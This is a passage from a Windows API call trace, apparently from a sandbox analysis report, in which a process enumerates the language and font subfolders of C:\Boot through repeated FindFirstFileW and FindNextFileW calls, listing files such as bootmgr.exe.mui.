ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0033.933] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.933] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.934] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.934] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0033.934] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.934] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.934] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0033.934] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.934] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.935] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.935] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.935] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.935] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.935] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0033.935] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.935] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.935] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.935] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.936] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.936] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.936] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0033.936] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.936] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.937] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.937] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.937] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.937] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.937] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0033.937] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.937] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.937] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.937] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.937] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.937] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.937] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0033.937] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.937] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.938] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.938] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.938] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.938] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.938] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0033.938] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.938] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.939] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.939] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.939] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.939] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.939] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0033.939] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.939] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.939] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.939] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.940] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.940] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.940] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0033.940] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.940] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.940] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.940] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.940] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.940] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.940] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0033.940] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.940] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.941] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.941] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.941] FindClose (in: hFindFile=0x975280 | out: hFindFile=0x975280) returned 1 [0033.941] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.941] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0033.941] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.941] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x975280 [0033.941] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.941] FindNextFileW (in: hFindFile=0x975280, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, 